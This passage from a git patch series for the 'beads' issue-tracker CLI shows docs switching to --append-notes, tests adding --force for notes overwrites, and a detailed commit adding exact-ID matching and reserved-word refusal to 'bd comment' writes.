all three fields, conditioning this one on a + // Patch.Notes edit. + ForceNotesOverwrite bool // ForceClosePolicy bypasses only close policy — the open-children refusal // and the live-direct-blocker refusal — for a Patch.Status that crosses into // the done category. The zero value enforces the policy. It has no effect diff --git a/plugins/beads/skills/beads/README.md b/plugins/beads/skills/beads/README.md index 8bc73c70f..a7723cfae 100644 --- a/plugins/beads/skills/beads/README.md +++ b/plugins/beads/skills/beads/README.md @@ -83,7 +83,7 @@ bd dep add implementation setup # ✓ CORRECT When Claude's context gets compacted, conversation history is lost but bd state survives. Write notes as if explaining to a future Claude with zero context: ```bash -bd update issue-123 --notes "COMPLETED: JWT auth with RS256 +bd update issue-123 --append-notes "COMPLETED: JWT auth with RS256 KEY DECISION: RS256 over HS256 for key rotation IN PROGRESS: Password reset flow NEXT: Implement rate limiting" diff --git a/plugins/beads/skills/beads/resources/INTEGRATION_PATTERNS.md b/plugins/beads/skills/beads/resources/INTEGRATION_PATTERNS.md index 4be8779ad..c28cfa900 100644 --- a/plugins/beads/skills/beads/resources/INTEGRATION_PATTERNS.md +++ b/plugins/beads/skills/beads/resources/INTEGRATION_PATTERNS.md @@ -51,7 +51,7 @@ How bd-issue-tracking integrates with TodoWrite, writing-plans, and other skills **Corresponding bead notes (persistent context):** ```bash -bd update issue-123 --notes "COMPLETED: Login endpoint with bcrypt password +bd update issue-123 --append-notes "COMPLETED: Login endpoint with bcrypt password hashing (12 rounds). KEY DECISION: Using JWT tokens (not sessions) for stateless auth - simplifies horizontal scaling. IN PROGRESS: Session middleware implementation. NEXT: Need user input on token expiry time (1hr vs 24hr trade-off)." @@ -105,7 +105,7 @@ TodoWrite: **End of Session 1**: ```bash # Update bd with outcomes -bd update oauth-1 --notes "COMPLETED: Researched OAuth2 refresh flow. Decided on 7-day refresh tokens. +bd update oauth-1 --append-notes "COMPLETED: Researched OAuth2 refresh flow. Decided on 7-day refresh tokens. KEY DECISION: RS256 over HS256 (enables key rotation per security review). IN PROGRESS: Need to set up test OAuth provider. NEXT: Configure test provider, then implement token endpoint." @@ -128,7 +128,7 @@ TodoWrite: # Work proceeds... # Update bd at milestone -bd update oauth-1 --notes "COMPLETED: Test provider configured, token endpoint implemented. +bd update oauth-1 --append-notes "COMPLETED: Test provider configured, token endpoint implemented. TESTS: 5 passing (token generation, validation, expiry). IN PROGRESS: Adding refresh token rotation. NEXT: Implement rotation, add rate limiting, security review." @@ -236,7 +236,7 @@ git commit -m "feat: add token refresh endpoint" **Example bd notes after using detailed plan:** ```bash -bd update oauth-5 --notes "COMPLETED: Token refresh endpoint (5 tasks from plan: endpoint + rotation + tests) +bd update oauth-5 --append-notes "COMPLETED: Token refresh endpoint (5 tasks from plan: endpoint + rotation + tests) KEY DECISION: 7-day refresh tokens (vs 30-day) - reduces risk of token theft TESTS: All 12 tests passing (auth, rotation, expiry, error handling)" ``` @@ -277,7 +277,7 @@ TESTS: All 12 tests passing (auth, rotation, expiry, error handling)" 3. Update bd notes at milestones: ```bash - bd update strat-1 --notes "COMPLETED: Research phase (reviewed 5 competitor docs, 3 internal reports) + bd update strat-1 --append-notes "COMPLETED: Research phase (reviewed 5 competitor docs, 3 internal reports) KEY DECISION: Focus on market expansion over cost optimization per exec input IN PROGRESS: Drafting recommendations section NEXT: Get exec review of draft recommendations before finalizing" diff --git a/plugins/beads/skills/beads/resources/ISSUE_CREATION.md b/plugins/beads/skills/beads/resources/ISSUE_CREATION.md index 1e3ebb198..cd235495f 100644 --- a/plugins/beads/skills/beads/resources/ISSUE_CREATION.md +++ b/plugins/beads/skills/beads/resources/ISSUE_CREATION.md @@ -54,7 +54,7 @@ For complex technical features spanning multiple sessions, enhance notes field w ### Example pattern: ```markdown -bd update issue-9 --notes "IMPLEMENTATION GUIDE: +bd update issue-9 --append-notes "IMPLEMENTATION GUIDE: WORKING CODE: service.about().get(fields='importFormats') Returns: dict with 49 entries like {'text/markdown': [...]} OUTPUT FORMAT: # Drive Import Formats (markdown with categorized list) diff --git a/plugins/beads/skills/beads/resources/PATTERNS.md b/plugins/beads/skills/beads/resources/PATTERNS.md index 2b110175a..151896571 100644 --- a/plugins/beads/skills/beads/resources/PATTERNS.md +++ b/plugins/beads/skills/beads/resources/PATTERNS.md @@ -39,7 +39,7 @@ NEXT: Need user input on budget constraints before finalizing recommendations" 3. Work on tasks, mark TodoWrite items completed 4. At milestone, update bd notes: ```bash - bd update bd-42 --notes "COMPLETED: Cost-benefit analysis drafted. + bd update bd-42 --append-notes "COMPLETED: Cost-benefit analysis drafted. KEY DECISION: User confirmed $50k budget cap - ruled out enterprise options. IN PROGRESS: Finalizing recommendations (Posthog + custom ETL). NEXT: Get user review of draft before closing issue." @@ -179,14 +179,14 @@ bd update auth-5 --claim **Hit a blocker**: ```bash -bd update auth-5 --status blocked --notes "BLOCKER: Need OAuth client ID from product team. Emailed Jane on 2025-10-23." +bd update auth-5 --status blocked --append-notes "BLOCKER: Need OAuth client ID from product team. Emailed Jane on 2025-10-23." # Switch to different issue or create new work ``` **Unblocking**: ```bash # Once blocker resolved -bd update auth-5 --status in_progress --notes "UNBLOCKED: Received OAuth credentials. Resuming implementation." +bd update auth-5 --status in_progress --append-notes "UNBLOCKED: Received OAuth credentials. Resuming implementation." ``` **Completing**: @@ -286,7 +286,7 @@ bd close task-123 --reason "Implemented feature X" **Detailed closure** (complex work): ```bash # Update notes with final state -bd update task-123 --notes "COMPLETED: OAuth refresh with 7-day rotation +bd update task-123 --append-notes "COMPLETED: OAuth refresh with 7-day rotation KEY DECISION: RS256 over HS256 per security review TESTS: 12 tests passing (auth, rotation, expiry, errors) FOLLOW-UP: Filed perf-99 for token cleanup job" @@ -297,11 +297,11 @@ bd close task-123 --reason "Implemented OAuth refresh token rotation with rate l ### Documenting Resolution (Outcome vs Design) -For issues where the outcome differed from initial design, use `--notes` to document what actually happened: +For issues where the outcome differed from initial design, use `--append-notes` to document what actually happened: ```bash # Initial design was hypothesis - document actual outcome in notes -bd update bug-456 --notes "RESOLUTION: Not a bug - behavior is correct per OAuth spec. Documentation was unclear. Filed docs-789 to clarify auth flow in user guide." +bd update bug-456 --append-notes "RESOLUTION: Not a bug - behavior is correct per OAuth spec. Documentation was unclear. Filed docs-789 to clarify auth flow in user guide." bd close bug-456 --reason "Resolved: documentation issue, not bug" ``` @@ -331,7 +331,7 @@ bd close auth-5 --reason "OAuth refresh implemented. Discovered perf optimizatio | Pattern | When to Use | Key Command | Preserves | |---------|-------------|-------------|-----------| -| **Knowledge Work** | Long-running research, writing | `bd update --notes` | Context across sessions | +| **Knowledge Work** | Long-running research, writing | `bd update --append-notes` | Context across sessions | | **Side Quest** | Discovered during other work | `bd dep add --type discovered-from` | Relationship to original | | **Multi-Session Resume** | Returning after time away | `bd ready`, `bd show` | Full project state | | **Status Transitions** | Tracking work state | `bd update --status` | Current state | diff --git a/plugins/beads/skills/beads/resources/WORKFLOWS.md b/plugins/beads/skills/beads/resources/WORKFLOWS.md index 065cf0f12..2a6d84097 100644 --- a/plugins/beads/skills/beads/resources/WORKFLOWS.md +++ b/plugins/beads/skills/beads/resources/WORKFLOWS.md @@ -66,7 +66,7 @@ After Compaction: **Good note (enables recovery):** ``` -bd update issue-42 --notes "COMPLETED: User authentication - added JWT token +bd update issue-42 --append-notes "COMPLETED: User authentication - added JWT token generation with 1hr expiry, implemented refresh token endpoint using rotating tokens pattern. IN PROGRESS: Password reset flow. Email service integration working. NEXT: Need to add rate limiting to reset endpoint (currently unlimited @@ -76,7 +76,7 @@ recommendations, tech lead concerned about response time but benchmarks show <10 **Bad note (insufficient for recovery):** ``` -bd update issue-42 --notes "Working on auth feature. Made some progress. +bd update issue-42 --append-notes "Working on auth feature. Made some progress. More to do later." ``` @@ -342,7 +342,7 @@ Session End Handoff: - [ ] Prompt user: "We just completed X and started Y on . Should I update the beads notes for next session?" - [ ] If yes, suggest command: - bd update --notes "COMPLETED: X. IN PROGRESS: Y. NEXT: Z" + bd update --append-notes "COMPLETED: X. IN PROGRESS: Y. NEXT: Z" - [ ] User reviews and confirms - [ ] Claude executes the update - [ ] Notes saved for next session's resumption @@ -404,7 +404,7 @@ User Tips: **At End of Session 1:** ```bash -bd update workspace-mcp-server-2 --notes "COMPLETED: Set up skeleton with Docs +bd update workspace-mcp-server-2 --append-notes "COMPLETED: Set up skeleton with Docs API connection verified. Markdown parsing logic 80% done (handles *, _ modifiers). IN PROGRESS: Testing edge cases for nested formatting. NEXT: Implement batchUpdate call structure for text insertion. REFERENCE: Reference pattern at diff --git a/scripts/migration-test/historical-dolt-upgrade-test.sh b/scripts/migration-test/historical-dolt-upgrade-test.sh index c87a2a886..927b1388e 100755 --- a/scripts/migration-test/historical-dolt-upgrade-test.sh +++ b/scripts/migration-test/historical-dolt-upgrade-test.sh @@ -1007,7 +1007,9 @@ verify_post_bridge_semantics() { local version="$1" kind="$2" task blocker task_after ready task=$(sed -n '1p' "$workspace/fixture-ids") blocker=$(sed -n '2p' "$workspace/fixture-ids") - run_in_workspace "$candidate" update "$task" --notes 'Post-upgrade bridge mutation persisted.' >/dev/null || + # --force: the fixture task carries historical notes, and the candidate now + # fences an unforced non-empty replacement; the replacement is the point here. + run_in_workspace "$candidate" update "$task" --notes 'Post-upgrade bridge mutation persisted.' --force >/dev/null || die "$version: candidate mutation failed after explicit bridge" task_after=$(run_in_workspace "$candidate" show "$task" --json --include-comments) || die "$version: candidate could not reopen bridged data" @@ -1043,7 +1045,8 @@ run_embedded_dolt_upgrade() { fi [ "$(sha256_file "$metadata")" = "$metadata_sha" ] || die "$version: candidate startup rewrote metadata" task=$(sed -n '1p' "$workspace/fixture-ids") - run_in_workspace "$candidate" update "$task" --notes 'Post-upgrade direct mutation persisted.' >/dev/null || + # --force: same fence as verify_post_bridge_semantics — the fixture task has notes. + run_in_workspace "$candidate" update "$task" --notes 'Post-upgrade direct mutation persisted.' --force >/dev/null || die "$version: candidate mutation failed after direct upgrade" task_after=$(run_in_workspace "$candidate" show "$task" --json --include-comments) || die "$version: candidate could not reopen mutated data" diff --git a/tests/regression/discovery_test.go b/tests/regression/discovery_test.go index 8c3a3b936..101ad9c42 100644 --- a/tests/regression/discovery_test.go +++ b/tests/regression/discovery_test.go @@ -589,7 +589,7 @@ func TestProtocol_NotesAppendVsOverwrite(t *testing.T) { t.Errorf("notes should be 'Original', got: %v", data[0]["notes"]) } - w.run("update", a, "--notes", "Replaced") + w.run("update", a, "--notes", "Replaced", "--force") data = parseJSON(t, w.run("show", a, "--json")) if data[0]["notes"] != "Replaced" { t.Errorf("notes should be 'Replaced', got: %v", data[0]["notes"]) diff --git a/tests/regression/regression_test.go b/tests/regression/regression_test.go index 6683ee982..aef46f04a 100644 --- a/tests/regression/regression_test.go +++ b/tests/regression/regression_test.go @@ -474,10 +474,25 @@ func (w *workspace) showJSONForSnapshot(id string) string { return w.run(args...) } -func (w *workspace) supportsStreamedShowPayloads() bool { +// isCandidate reports whether this workspace runs the candidate binary rather +// than the pinned baseline. Intent-named feature gates below delegate here so +// candidate detection lives in one place. +func (w *workspace) isCandidate() bool { return candidateBin != "" && w.bdPath == candidateBin } +func (w *workspace) supportsStreamedShowPayloads() bool { + return w.isCandidate() +} + +// requiresNotesOverwriteForce reports whether this binary refuses `update +// --notes` over existing notes without --force. The pinned baseline predates +// both the refusal and the flag (its update has no --force at all), so shared +// scenarios pass --force only to the candidate. +func (w *workspace) requiresNotesOverwriteForce() bool { + return w.isCandidate() +} + // export returns a JSONL snapshot of the workspace. This replaces the removed // bd export command with list+show based snapshots. Filter args (e.g., // "--status", "open") are translated to bd list flags. diff --git a/tests/regression/scenarios_test.go b/tests/regression/scenarios_test.go index 842bd0d54..278a82276 100644 --- a/tests/regression/scenarios_test.go +++ b/tests/regression/scenarios_test.go @@ -1069,7 +1069,11 @@ func TestNotesOverwriteSemantics(t *testing.T) { compareExports(t, func(w *workspace) { id := w.create("--title", "Notes overwrite test", "--type", "task", "--notes", "Original notes content") - w.run("update", id, "--notes", "Completely replaced notes") + args := []string{"update", id, "--notes", "Completely replaced notes"} + if w.requiresNotesOverwriteForce() { + args = append(args, "--force") + } + w.run(args...) w.run("update", id, "--title", "Notes overwrite test (updated)") }) } From ab9adc73db0ae5a7658788c9c9d0fa8a80cde386 Mon Sep 17 00:00:00 2001 From: Athos Bernardes <79493098+athosmartins@users.noreply.github.com> Date: Thu, 1 Oct 2026 09:04:32 -0300 Subject: [PATCH 024/325] Refuse reserved words and fuzzy id matches on bd comment writes (#5393) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Refuse reserved words and fuzzy id matches on bd comment writes bd comment [text...] treated its first argument as an id via the same abbreviation-tolerant resolver used everywhere else, with no protection against the id slot holding something that was never meant to be an id. Two related failure modes came from that: - "bd comment list ", a typo for "bd comments list" (or "bd comments "), silently ran with id="list" and text="" instead of erroring. - If "list" (or any other stray first word) happened to be a leading-prefix abbreviation of some unrelated issue's hash, the resolver picked that issue and the comment landed there instead of failing with "not found". This is exactly what happened in production: 15+ automated sessions made the "bd comment list " typo over two days, and because "list" was a leading-prefix abbreviation of an unrelated wisp's hash ("list3t0"), every one of them wrote a garbage comment onto that wisp. Fixes both, independently: - checkCommentIDNotReservedWord rejects list/add/rm/delete as the id argument before any resolution is attempted, mirroring the existing "bd comments list" misplaced-subcommand guard. - ResolvePartialIDExact (internal/utils) is an exact-match sibling of ResolvePartialID: identical exact-ID and exact-hash matching (including a wisp's hash with its "wisp-" infix stripped), but never falls through to leading-prefix abbreviation matching. bd comment now resolves through this via a new resolveAndGetIssueForMutationExact, which keeps the existing cross-rig prefix-routing and contributor auto-routing fallbacks intact (tightened to exact matching too) so cross-repo comment writes by full id are unaffected. Every other caller of the touched shared functions (ResolvePartialID, resolveAndGetIssueForMutation, resolveViaPrefixRoutingWithAccess, resolveViaAutoRouting) keeps its exact current behavior — the new exact variants are additive, and existing call sites were updated to pass an explicit "false" for the new parameter rather than changing behavior. Testing: go build/go vet pass across the whole module. The new pure-Go guard test and a hand-rolled in-memory PartialIDResolverStore test both run and pass without Docker or a live Dolt server, and the latter reproduces the original collision (ResolvePartialID) before asserting the fix (ResolvePartialIDExact) in the same test, so the fixture is proven to exercise the real failure mode rather than trivially passing. The Dolt-container-backed table tests (mirroring the existing TestResolvePartialID_Wisp / TestResolvePartialID suites) could not be run locally (no Docker in this environment) — they compile and skip cleanly the same way the pre-existing suite does, and will run for real in CI. * fix(ga-wpdum): address steveyegge's PR #5393 review items b/c/d Review (2026-08-07, posted as a PR comment, not a formal GitHub review — hence reviewDecision stayed empty) asked for four things before merge; (a) rebase onto #5369 was already done (2026-09-07, see PR history). This addresses the rest: (c) MAJOR — comment writes require an exact id, but a REAL abbreviated id was refused with "no issue found matching %q", which is false: the issue exists, only the abbreviation was rejected. ResolvePartialIDExact now distinguishes the two failure modes via a new sentinel, ErrAbbreviatedIDNotAllowed, wrapped only when the input would have resolved via leading-prefix abbreviation. bd comment's RunE checks errors.Is against it and returns a truthful, actionable message pointing at `bd show ` instead of claiming the issue is missing. Docs (hash-ids.md) and CHANGELOG updated with the read/write carve-out this creates. (b) MAJOR — investigated whether the proxied-server comment path needed the same exact-match treatment. It doesn't: resolveCommentTargetProxied resolves via workapi.GetIssueOrWisp with the raw id, which bottoms out in issueSQLRepositoryImpl.Get's plain "WHERE id = ?" — SQL exact equality, with no abbreviation-matching layer anywhere in that call chain (unlike the embedded path's utils.ResolvePartialID). Comment writes over the proxied server were already exact-id-only before this PR. Per the review's own fallback ("extend exact matching to that path, or document/test the gap explicitly"), added a regression test locking this in rather than leaving it implicit. (d) Added CLI-level (cobra-dispatch, in-process rootCmd.Execute) tests for: - "rm"/"delete" reserved-word rejection, the two words the #5369-inherited tests don't cover (only "list"/"add" have hand-written cases). - The new (c) abbreviation-refusal message end-to-end, including a same-abbreviation sanity check against `bd show` to prove it's a real, resolvable abbreviation and not a fixture accident. Plus a Docker-free fake-store test in internal/utils pinning ErrAbbreviatedIDNotAllowed's distinguishability from a genuine not-found. Fixed in the same pass, same class of defect as (c): checkCommentIDNotReservedWord's message claimed every reserved word is a "misplaced bd comments subcommand" — true for "list"/"add", false for "rm"/"delete" (no such subcommand exists; bd has "delete" as a top-level command and "rm" as an alias elsewhere, e.g. "dep rm"). Message now says "reserved word" generically, true for all four. Testing: go vet (plain and -tags=integration) clean on cmd/bd and internal/utils. go test ./internal/utils/... passes including the new ErrAbbreviatedIDNotAllowed test. go test ./cmd/bd/. (non-integration tag) passes including both reserved-word cases. The new CLI-level and proxied-server integration tests need a Dolt test container (Docker) this environment doesn't have — same limitation the original commit's own Dolt-backed tests already disclosed; they compile clean under -tags=integration and skip cleanly the same way the pre-existing suite does. Co-Authored-By: Claude Sonnet 5 * fix(ga-wpdum): address bee-ghosttrack's R1 review (M1 + the flagged MINOR) R1 (aec6de4ad, REQUEST-CHANGES) found that CHANGELOG.md and hash-ids.md claim `bd comments add` is guarded against abbreviated ids and reserved words exactly like `bd comment`, but the code never extended the guard to the plural form — `commentsAddCmd` had no Args validator and resolved through the abbreviation-tolerant `resolveAndGetIssueForMutation`. Per the reviewer's preferred fix (option ii), extend the guard instead of softening the docs: - Add `validateCommentsAddArgs` (mirrors `comment`'s `validateCommentArgs` minus the singular/plural-confusion special cases) and wire it as `commentsAddCmd.Args`, so a reserved-word id is refused before either dispatch branch. - Switch the embedded-path resolution from `resolveAndGetIssueForMutation` to `resolveAndGetIssueForMutationExact`, with the same `errors.Is(ErrAbbreviatedIDNotAllowed)` truthful-message mapping `comment` already has. (The proxied path already resolved exactly — it shares `addCommentProxied`/`resolveCommentTargetProxied` with `comment` — so this closes the embedded-path gap only.) - Update the one pre-existing test that asserted the old, now-removed behavior (`PartialIDWithCommentsAdd` expected a genuine abbreviation to succeed) to assert the refusal instead, and add a CLI-level regression test mirroring `TestCLI_CommentAbbreviatedIDRejectedWithTruthfulMessage`. - Add `TestValidateCommentsAddArgs`, a pure Args-validator unit test (no store/Docker needed) mirroring `TestValidateCommentArgs`. Also treats the one MINOR the review flagged as an actual gap (not just a suggestion): the wisp-branch abbrevOnly tracking in id_parser.go had no test pinning it — P3 (making the wisp-branch abbrevOnly append a no-op) went uncaught. Strengthened TestResolvePartialIDExact_FakeStore_ReproducesReportedIncident's "list" assertion from a bare `err != nil` to `errors.Is(err, ErrAbbreviatedIDNotAllowed)`, which is exactly the incident's own shape in the wisp branch. CI (PR Core / wrapper timing) is failing on this branch, but independently confirmed pre-existing and unrelated: `ci-pr-core.sh` runs `go test -race ./...` with no `-timeout` override, so cmd/bd (a large package under -race) hits Go's default 10-minute per-package ceiling; same-hour green runs on other PRs measured 11-13.5 min total job time, already at the edge, and the actively-running test at the deadline (TestWhereCommand_ReadsPrefixFromEmbeddedStore) is unrelated to this diff. R1 independently measured the same thing (541.6s/387.0s on other green runs vs. 600.9s here). Needs a green re-run, not a code fix. Verified locally (no Docker in this environment, so the two integration- tagged CLI tests above compile-check clean via `go vet -tags=integration, gms_pure_go` but run as SKIP rather than PASS; will run for real in CI): - go build ./...; go vet ./cmd/bd/ ./internal/utils/: clean - go vet -tags=integration,gms_pure_go ./cmd/bd/: clean - gofmt -l on all 4 changed/added files: clean - go test ./internal/utils/... -run ResolvePartialID: PASS - go test ./cmd/bd/. -run 'TestValidateCommentsAddArgs|TestValidateCommentArgs|TestCheckCommentIDNotReservedWord': PASS Co-Authored-By: Claude Sonnet 5 * fix(ga-wpdum): address bee-ghosttrack's R2 review (dead-red fixture + cobra-dispatch wiring test) R2 (a639234a0, CHANGES_REQUESTED): TestCLI_CommentsAddShortID/PartialIDWithCommentsAdd was dead-red in its own setup — it only truncated the fixture hash to a 4-char abbreviation when len(hash) > 4, but fresh test DBs mint 3-char hashes (min_hash_length unset), so shortID always equaled the full hash and the t.Fatalf guard fired before any of the subtest's real assertions ran. That meant mutation P-B (reverting comments.go's exact resolver back to the abbreviation-tolerant one) went uncaught. Fix: derive the abbreviation as a strict, one-character-shorter leading prefix of the real hash (hash[:len(hash)-1]), the same derivation comment_proxied_integration_test.go already uses — correct regardless of fixture hash length, with a length>=2 guard instead of the old always-true-in-practice one. Also closes R2's recommended "NEW MINOR — the guard's wiring is untested": comments_add_test.go drives validateCommentsAddArgs directly (catches a gutted body, mutation P-C) but nothing exercised commentsAddCmd's Args field through real cobra dispatch, so unwiring it back to cobra.MinimumNArgs(1) left every test green (mutation P-D). Added TestCLI_CommentsAddReservedWordRejectedThroughCobraDispatch, which runs `bd comments add ...` through actual rootCmd.Execute() dispatch for all four reserved words and asserts the bystander issue receives no comment. Not touched, per R2: the carried-over m1 (cross-rig abbreviation error message) — reviewer marked "Not a blocker" — and the CI race-default timeout on cmd/bd, already diagnosed (R2 + prior PR comment) as pre-existing infra flakiness needing a fresh run, not a code change. Verified in this environment (no Docker/testcontainers available, same disclosed limitation as prior rounds): gofmt clean; go vet -tags=integration ./cmd/bd/... clean (requires CGO_CPPFLAGS/CGO_LDFLAGS/PKG_CONFIG_PATH pointed at the keg-only icu4c@78 install); go test -tags=integration -run 'TestCLI_CommentsAddShortID|TestCLI_CommentsAddReservedWordRejectedThroughCobraDispatch' ./cmd/bd/ -v passes with all Dolt-backed subtests skipping cleanly (Docker not available) rather than panicking — confirms both tests compile and execute up to the container-availability skip. The actual fixture-hash logic under test only runs where a Dolt container exists (CI); it has not been exercised against a real container here. Co-Authored-By: Claude Sonnet 5 * chore(bazel): enumerate the PR's 4 new test files in BUILD.bazel (adopt-pr rebase gate) Base added cmd/bd/BUILD.bazel and internal/utils/BUILD.bazel enumerates go_test srcs explicitly, so PR #5393's four new test files were unlisted. Output of 'make bazel-sync' (gazelle + go_srcs.py + mod tidy), verbatim and idempotent. Measured: the unrepaired //internal/utils:utils_test binary lists 0 of the PR's 5 TestResolvePartialIDExact* tests while still building green (a fake green); repaired it lists 5/5. * fix(review): surface a routed-tier abbreviation refusal on comment writes Review-loop fixup for PR #5393 (iteration 1). The review approved with no required changes; these are the non-gating minor plus one of the two nits, taken because the minor is a user-visible false message on this PR's own headline contract. [minor] Contract & Interface Fidelity. resolveAndGetIssueForMutationExact passes exact=true to all three tiers, so the cross-rig and auto-routed tiers can mint utils.ErrAbbreviatedIDNotAllowed too -- and both wrappers propagate it unwrapped (routed.go:303-305) -- but each routed error was bound inside an `if` statement and discarded, and `return nil, err` returned the LOCAL error. The consumers' errors.Is (comment.go:158, comments.go:238) was therefore structurally unable to observe a routed-tier refusal, so `bd comment hr-8wn "text"` printed `no issue found matching "hr-8wn"` for an issue a routed rig demonstrably holds -- the exact falsehood the sentinel's own doc condemns, at the caller that doc names (internal/utils/id_parser.go:33). Both tiers' errors are now captured and the first abbreviation refusal is returned in preference to the local not-found. The wrong write was already refused on every tier; only the message contract was unmet. The new pin cmd/bd/comment_routed_exact_test.go drives the real seam (local town store + routed rig + routes.jsonl, mirroring TestCheckBeadGateCrossRigPrefixRoute) in both directions, because either assertion alone passes for the wrong reason: an abbreviation of a routed issue must select the ROUTED refusal, and an id absent everywhere must stay a plain not-found. Proven non-vacuous by mutation -- dropping only the selection reds direction 1 with `no issue found matching "gt-abcdefg"`, the original symptom verbatim, while direction 2 still passes. [nit] Test Evidence Quality. The proxied regression test asserted only strings.Contains(stdout+stderr, id), which passes identically on the false and the truthful message and so locked the local/proxied message asymmetry in where the suite could not see it. It now asserts the whole message (verified empirically: `Error: issue pa-2u not found`) and empty stdout, matching the exact-message norm of the sibling missing-ID subtest. The asymmetry itself is deliberate and stays: the proxied route resolves through one exact `WHERE id = ?` and cannot distinguish an abbreviation of a real issue from an absent id without adding back the abbreviation probing this PR exists to remove from write paths. [nit] Release Safety -- DECLINED, measured. The prescribed `### Changed` bullet belongs at the top of the first `### Changed` block in `## [Unreleased]` (base CHANGELOG.md:383), and main has since inserted its own bullet at exactly that anchor (`@@ -384,0 +492,16`, the #6111 entry). Adding it would mint a second CHANGELOG add/add conflict for the finalize base-refresh on top of the `### Fixed` re-conflict already predicted by the rebase gate -- not worth it for an optional nit whose own text says "No code change". cmd/bd/BUILD.bazel gains one srcs row for the new test file (via make bazel-sync, a no-op on a second run) so bazel.yml's "BUILD files in sync" gate stays clean. Validation: go build ./... rc 0; go vet ./cmd/bd/ ./internal/utils/ rc 0; gofmt clean; git diff --check clean; cmd/bd selectors 11/11 PASS including base's own TestMatchPrefixRoute (the GH#5048 longest-prefix union guard) and TestResolveCloseTargets (the abbreviation-tolerant sibling path); TestProxiedServerComment 3/3 under BEADS_TEST_PROXIED_SERVER=1. * test(utils): pin #6215's sentinel guard to the shared resolver (#5393 base refresh) Rebasing this PR onto current main (e7138e93af -> a1ac9f4dcb, 27 commits) hit two conflicts. Both are recorded in .gc/reviews//base-refresh-repair.md; this commit carries the one piece of the repair that is not simply a replayed contributor hunk. The substantive conflict was internal/utils/id_parser.go against ab88b20517 (#6215, "refuse a bare jq/JS sentinel ... as an issue ID", which itself says Refs #5393). Both sides ADD at the same point -- the diff3 ancestor section is empty -- so nothing base-owned is rewritten, and the only question is WHERE #6215's guard lands now that this PR splits the resolver into ResolvePartialID (abbreviation-tolerant) and ResolvePartialIDExact (exact-only) over a shared resolvePartialID. It belongs in the shared body. #6215 put it in ResolvePartialID only because that was then the repository's single ID-resolution entry point ("One guard covers the direct, embedded and proxied-server paths uniformly"); this PR adds a second. Its changelog entry on main states the guarantee directly -- "bd update null, bd comment null and every other command that resolves an ID now fail before any lookup, because the guard sits in the shared resolver" -- and bd comment is precisely what this PR routes through the exact-only path. The relocation costs no patch delta: the guard re-anchors as unchanged context after the PR's insertion, so the content-line diff of (old base..old head) vs (new base..new head) is empty, and the PR's stat is 16 files +1212/-31 before and after. Nothing covered that choice, which is why this test exists. #6215's own id_parser_sentinel_test.go exercises only ResolvePartialID, so the naive textual resolution -- guard left in the exported wrapper -- keeps every one of its assertions green while a sentinel reaching the exact path degrades into `id is a valid abbreviation, but exact-match resolution is required here: "null" (matches [hq-null3t0])`: it names an unrelated decoy issue and tells the caller to use the full id, when in truth their selector matched nothing. Mutation-proved in both directions: with the guard moved into the wrapper alone, #6215's two tests still PASS and this test FAILs; with the guard deleted outright, #6215's refusal test and this one both FAIL (so neither is vacuous). The over-refusal arm mirrors #6215's accepted-inputs test through the exact path, so hq-null3t0 and the bare hash null3t0 must still resolve. No new file, so no BUILD.bazel srcs row is owed. 61 PASS / 0 FAIL / 0 SKIP for -run 'Sentinel|ResolvePartialID' against a real Dolt container. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 26 +++ cmd/bd/BUILD.bazel | 3 + cmd/bd/cli_fast_test.go | 239 +++++++++++++++++++-- cmd/bd/close.go | 2 +- cmd/bd/comment.go | 66 +++++- cmd/bd/comment_proxied_integration_test.go | 69 ++++++ cmd/bd/comment_reserved_word_test.go | 46 ++++ cmd/bd/comment_routed_exact_test.go | 127 +++++++++++ cmd/bd/comments.go | 29 ++- cmd/bd/comments_add_test.go | 43 ++++ cmd/bd/routed.go | 112 +++++++++- docs/core-concepts/hash-ids.md | 29 ++- internal/utils/BUILD.bazel | 2 + internal/utils/id_parser.go | 66 +++++- internal/utils/id_parser_exact_test.go | 208 ++++++++++++++++++ internal/utils/id_parser_fake_test.go | 233 ++++++++++++++++++++ 16 files changed, 1269 insertions(+), 31 deletions(-) create mode 100644 cmd/bd/comment_reserved_word_test.go create mode 100644 cmd/bd/comment_routed_exact_test.go create mode 100644 cmd/bd/comments_add_test.go create mode 100644 internal/utils/id_parser_exact_test.go create mode 100644 internal/utils/id_parser_fake_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 754391433..d291eb727 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -166,6 +166,32 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 (default 24h) controls how often the pause is re-announced. Manual `bd backup` / `bd backup sync` are not capped. +- **`bd comment`/`bd comments add` refuse an abbreviated id and a reserved + word instead of silently resolving one to the wrong issue** + ([#5393](https://github.com/gastownhall/beads/pull/5393)). `bd comment list + `, a typo for `bd comments list`, used to parse as id="list" with no + guard on the id slot — and since no issue is ever literally named "list", + the default abbreviation-tolerant resolver would fuzzy-match it against + whatever existing bead or wisp id happened to start with "list" and write + the rest of the command line there as a comment. Confirmed in production: + 15+ automated sessions made this exact typo over two days and all landed on + the same unrelated wisp. `bd comment`'s id positional now (a) refuses the + four words a `bd comments ` typo is likely to produce — `list`, `add`, + `rm`, `delete` — before any id resolution is attempted, on both the + embedded and proxied-server paths, and (b) requires an EXACT id match + (`bd-a1b2c3d4`, not `a1b2`) rather than the abbreviation-tolerant matching + every other command keeps. The refusal message is truthful about which + case applies: a reserved word gets a hint toward `bd comments`; an + abbreviation of a REAL issue gets `id abbreviations are not accepted on + comment writes; use the full id from \`bd show \`` rather than the + generic (and in that case false) "no issue found matching" text a genuine + not-found gets. See [Working with + IDs](docs/core-concepts/hash-ids.md#working-with-ids) for the full + read/write distinction. The proxied-server comment path was investigated + separately and found to already be exact-id-only by construction (its + resolution never performed abbreviation matching in the first place) — a + regression test now locks that in rather than leaving it undocumented. + - **`bd doctor` no longer flags a `.local_version` that starts with `v`.** The canonical spelling of a Go module version — and the string a build stamped from a Go pseudo-version reports and writes into `.local_version` itself — diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index a08de0d9a..e6045c935 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -559,7 +559,10 @@ go_test( "command_telemetry_test.go", "comment_promote_embedded_test.go", "comment_proxied_integration_test.go", + "comment_reserved_word_test.go", + "comment_routed_exact_test.go", 